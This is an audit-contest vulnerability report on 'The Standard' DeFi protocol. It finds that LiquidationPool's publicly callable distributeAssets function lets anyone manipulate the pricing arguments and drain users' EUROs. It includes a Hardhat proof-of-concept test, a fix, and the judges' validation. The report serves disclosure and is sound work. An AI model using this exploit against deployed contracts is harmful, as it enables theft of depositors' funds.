The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

malicious user can remove all EUROs in LiquidationPool.

Summary

malicious user can remove all EUROs in LiquidationPool.

Vulnerability Details

The arguments of distributeAssets are important to calculate the price at which the user will buy the distributed assets.

Therefore, each argument must be provided correctly to ensure that the user purchases the assets at the right price.

However, since distributeAssets is an external function that can be called by anyone, the arguments can be modified arbitrarily.

uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;

There are several possible attack points here, the first being manipulation of the assets.

The price is obtained by referencing the clAddr of the asset. However, the actual token transfer is based on the value of addr, so if you set clAddr to an expensive asset like WBTC and addr to an asset like USDC, the user will buy USDC at the price of WBTC.

An easier way is to manipulate _collateralRate or _hundredPC. These are used to calculate costInEuros.

Since costInEuros is inversely proportional to _collateralRate and proportional to _hundredPC, a large value for _hundredPC or a small value for _collateralRate will result in a very large costInEuros and the user will spend all their EUROs to buy 1 wei of tokens.

Therefore, the following scenario can be used to remove the EURO from all users in the pool.
POC:

describe('claim rewards', async () => {
it.only('distribute Asset exploit', async () => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = ethers.utils.parseEther('0.1');
const usdcCollateral = BigNumber.from(500_000_000);
// create some funds to be "liquidated"
await user2.sendTransaction({to: MockSmartVaultManager.address, value: ethCollateral});
await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
let stakeValue = ethers.utils.parseEther('10000');
await TST.mint(user1.address, stakeValue);
await EUROs.mint(user1.address, stakeValue);
await TST.connect(user1).approve(LiquidationPool.address, stakeValue);
await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
await LiquidationPool.connect(user1).increasePosition(stakeValue, stakeValue);
await fastForward(DAY);
const { TokenManager } = await mockTokenManager();
let token = await (await TokenManager.getAcceptedTokens())[0];
console.log(token);
await LiquidationPool.distributeAssets(
[{
token: {
symbol: token[0],
addr: token[1],
dec: token[2],
clAddr: token[3],
clDec: token[4]
},
amount: 1
}], 1, ethers.utils.parseEther('10000'), {value : ethers.utils.parseEther('0.0001')}
);
});
});

Impact

malicious user can remove all EUROs in LiquidationPool.

Tools Used

VS Code

Recommendations

Only the LiquidationPoolManager should call distributeAssets.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.